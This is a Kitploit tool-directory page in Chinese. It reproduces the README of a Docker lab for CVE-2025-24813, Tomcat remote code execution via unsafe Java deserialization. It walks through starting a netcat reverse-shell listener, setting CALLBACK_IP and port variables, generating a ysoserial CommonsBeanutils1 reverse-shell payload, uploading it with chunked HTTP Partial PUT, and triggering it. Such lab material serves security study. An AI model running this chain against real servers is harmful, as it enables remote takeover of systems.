Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-24813 — Session Exploit | Kitploit
工具/GitHubGitHub/beyond-devsecops/cve-2025-24813
Payload GenerationVulnerability AnalysisExploitationShellcodeWeb Application ExploitationLearning & EducationRemote Access ToolBinary ExploitationLabs & Practice
GitHubbeyond-devsecops/cve-2025-24813

CVE-2025-24813

Session Exploit

41年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

tags: [tomcat, cve-2025-24813, java, rce, reverse-shell, lab] title: 🧪 CVE-2025-24813 Tomcat RCE 实验环境 (Docker + ysoserial)

🧪 CVE-2025-24813 Tomcat RCE 实验环境 (Docker + ysoserial)

本实验演示了在 Tomcat 托管的应用程序中,通过不安全 Java 反序列化实现远程代码执行,该应用程序会处理序列化会话文件。整个环境运行在 Docker 中,并通过 HTTP Partial PUT 请求传递精心构造的反向 Shell 负载。


📁 目录结构

root@kitploit:~
.
├── 0-run-tomcat.sh        # 构建并运行存在漏洞的 Tomcat 容器
├── 1-generate-revshell.sh # 启动 Netcat 反向 Shell 监听器
├── 2-generate-payload.sh  # 生成 ysoserial 反向 Shell 负载
├── 3-upload-file.sh       # 通过 Partial PUT 上传序列化负载
├── 4-exploit.sh           # 触发反序列化端点
├── readme.md              # 本文件
├── source.sh              # 设置 CALLBACK_IP、LISTENER_PORT 等变量
├── dummy-app/
│   ├── src/
│   │   └── main/java/com/example/DeserializeServlet.java
│   ├── pom.xml
│   └── Dockerfile

⚙️ 前置条件

安装 Java 和 Netcat:

root@kitploit:~
brew install openjdk netcat

确保使用 JDK 11+ 并允许通过 --add-opens 启用不安全模块访问。


🧨 漏洞利用流程

  1. 🛠 构建并运行存在漏洞的 Tomcat
  2. 🐚 启动反向 Shell 监听器
  3. 💣 生成 ysoserial 负载 (CommonsBeanutils1)
  4. 📤 通过 HTTP Partial PUT 上传负载
  5. 🎯 触发反序列化并获取 Shell

🧪 使用说明

1. 构建并运行存在漏洞的 Tomcat

root@kitploit:~
bash 0-run-tomcat.sh

2. 设置环境变量

创建如下 source.sh 文件:

root@kitploit:~
export CALLBACK_IP="your.lan.ip"
export LISTENER_PORT=4444
export PAYLOAD_FILE="rev_shell.ser"
export TARGET_URL="http://localhost:8080/xxx-api/gopan.session"
export CHUNK_SIZE=100

然后执行:

root@kitploit:~
source source.sh

3. 启动反向 Shell 监听器

在另一个终端中运行:

root@kitploit:~
bash 1-generate-revshell.sh

该脚本会执行:

root@kitploit:~
nc -lnvp 4444

4. 生成负载

root@kitploit:~
bash 2-generate-payload.sh

该脚本将:

  • 按需下载 ysoserial.jar
  • 生成包含反向 Shell 的 CommonsBeanutils1 负载
  • 保存为 rev_shell.ser

5. 上传负载

root@kitploit:~
bash 3-upload-file.sh

该脚本通过 Content-Range 头,以分块方式执行 HTTP Partial PUT 上传。


6. 触发漏洞利用

root@kitploit:~
bash 4-exploit.sh

该脚本向以下地址发送请求:

root@kitploit:~
http://localhost:8080/xxx-api/profile

从而反序列化上传的文件并执行负载。

✅ 你将在 Netcat 终端中获得一个反向 Shell!


🔍 调试

进入容器:

root@kitploit:~
docker exec -it vulnerable-tomcat bash
cd /usr/local/tomcat/webapps/xxx-api/
ls -l

如果使用安全负载进行测试,检查文件 /tmp/beanutils-worked 是否存在。


💡 注意事项

  • 负载需要 --add-opens 来绕过 Java 11+ 的模块限制
  • 如果 /bin/bash 不可用,反向 Shell 可能会静默失败(可尝试 /bin/sh)
  • 可以使用 touch /tmp/rce-worked 安全测试代码执行

🧱 基于

  • frohoff/ysoserial
  • Apache Tomcat 9.x
  • Java 反序列化漏洞利用链 (CommonsBeanutils1)

下载工具